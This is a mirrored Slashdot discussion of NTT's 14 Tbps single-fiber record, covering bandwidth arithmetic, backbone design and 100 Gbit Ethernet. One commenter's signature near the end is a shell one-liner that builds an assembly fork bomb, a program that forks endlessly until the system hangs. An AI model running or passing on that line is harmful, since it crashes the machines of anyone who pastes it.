Slashdot Mirror
New Data Transmission Record — 14 Tbps
deejne writes to alert us to a new bandwidth record: Nippon Telegraph and Telephone has announced data transmission at a rate of 14 terabits per second over a single optical fiber. The paper claims the previous record was "about 10 Tbps." In the new experiment, NTT sent data over 160 kilometers (nearly 100 miles) of optical fiber, in 140 channels of 111 Gbps each.
While impressive, the feat was accomplished over a single optical fiber using proprietary amplifiers not in production. It certainly is innovative, but it is not an indication of speeds you will see in consumer level services. I see these high-bandwidth paradigms being very useful in the medical industry in the near future - especially for things like transferring high quality MRI images from hospital to hospital with very little delay, or in transferring patient ICU data to a centralized monitoring center - which is currently being done, but super-high bandwidth models open up avenues of information that are not currently available - anything from real-time HI-DEF video from the room, to real-time control of in-room instrumentation.
When I multiply that out, I get 1.990656e+9
That's about 2 Gbps
So, you could fit about 7000 of these uncompressed video streams over the 14 Tb/s link, unless I'm screwing up the calculation someplace.
For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
The distance traversed is 100 miles, which would take 1.4 hours, at 70MPH.
There are 3600 seconds in an hour.
This means that per hour a line can move 1.58 million DVD's
for a 70 MPH trip this adjusts to 2.25 Million DVD's
or 225,000 (100 disk spindles) Each Spindle Weighs 4Lbs
leaving 900,000 lbs or 450 tons..
That would be a semi with 200 cars loaded on it....
Now How big of a truck are you drivin....?
Storm
1) Yes, distance is cruically important in these measurements. There's no points in having gazillions of petabyte data transfer if it can only done from one corner of the lab to the other. Which is why all credible speed-of-information-transfer articles include a number with units of [ (bits / second) * distance].
2) The record is still held by the transmissions from Voyager II's encounter with Neptune.
We're all born with nothing.
If you die in debt, you're ahead.
On the whole, fiber is cheep. Ultra-high-speed multiplexors and demultiplexors are not. A typical bundle of fibers might easily have 128 or 1024 fibers running through it, and the extra quality needed to go from a few terabits to a few tens of terabits won't be significant compared to the cost of running really long fiber in that speed range in the first place.
The ideal, then, is to run a full bundle from each State to every other State. (ie: 49 lines should be sent from each of the 50 States.) At each end, you plug on an agreed-upon switch at an agreed-upon speed. This would start at 2 terabits/second. Each switch is also connected to a large pool of extremely fast routers. Those routers would then have lines to the routers from each of the other 48 multi-terabit State-to-State lines. All remaining connections from the 49 pools of routers would go to the Internet backbone for that State, any metropoliton networks and any State-financed rural networks.
As the switches increase in performance, you only have to replace the switches, not the fiber, since it's stipulated at the beginning that you'd go for the highest-grade fiber available. As soon as 14 terabit switches existed, you'd have an effective bandwidth of 686 terabits. (Since you can do multi-path routing, you can distribute that 686 terabits as you like.)
Wouldn't this be expensive? Sure. However, we've just burned half a trillion dollars for no obvious benefit. Burning another half trillion on providing nuke-resistant, DDoS-proof, meltdown-resistant data infrastructure that would at least serve a provable, verifiable purpose and would eventually reimburse some/all of the costs would seem reasonable enough.
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
Current routers, like the Cisco CRS-1, use OC-768c/STM-256, which is about 40 Gbit/sec. Right now, there are a couple of camps in the IEEE, ones that want 40 Gbit Ethernet, others that want the factor of 10 increase that Ethernet has normally been associated with. Since there is no 100 Gbit SONET (that I'm aware of at least), these public demonstrations, this one by NTT and another by Lucent, prove that 100 Gbit Ethernet is possible, even for long haul. Some providers like at&t, Yahoo and Google, really need 100 Gbit Ethernet because they produce that much data, or provide 10 Gbit service to customers, and they need to aggregate it somehow.
Yeah, I know. But it still gives me an excuse to make the point that storage speeds may well lag behind communications speeds in the near future. You can see it a bit now, since most machines with Gigabit Ethernet would struggle to handle a sustained read or write at one Gigabit. That's no problem of course, since the network should be fast enough to handle all the machines on a segment talking as fast as they can. But it is a new phenomenon, since local storage has been higher bandwidth than remote on every system I've ever used. And it will continue in the future I think, since there's probably no hard limit on the speed you can push bits down a bundle of fibres in the near future - it's always possible to add more fibres, or more wavengths or smarter modulation, whereas hard disk speeds seem to be levelling off.
And if you're a telco, you can buy some very expensive system to keep those fibres busy, but 99% of home PCs won't be able to store them. Which changes the power balance somewhat.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://newsroom.cisco.com/dlls/2004/prod_070104.ht ml
--- RFC 1149 Compliant.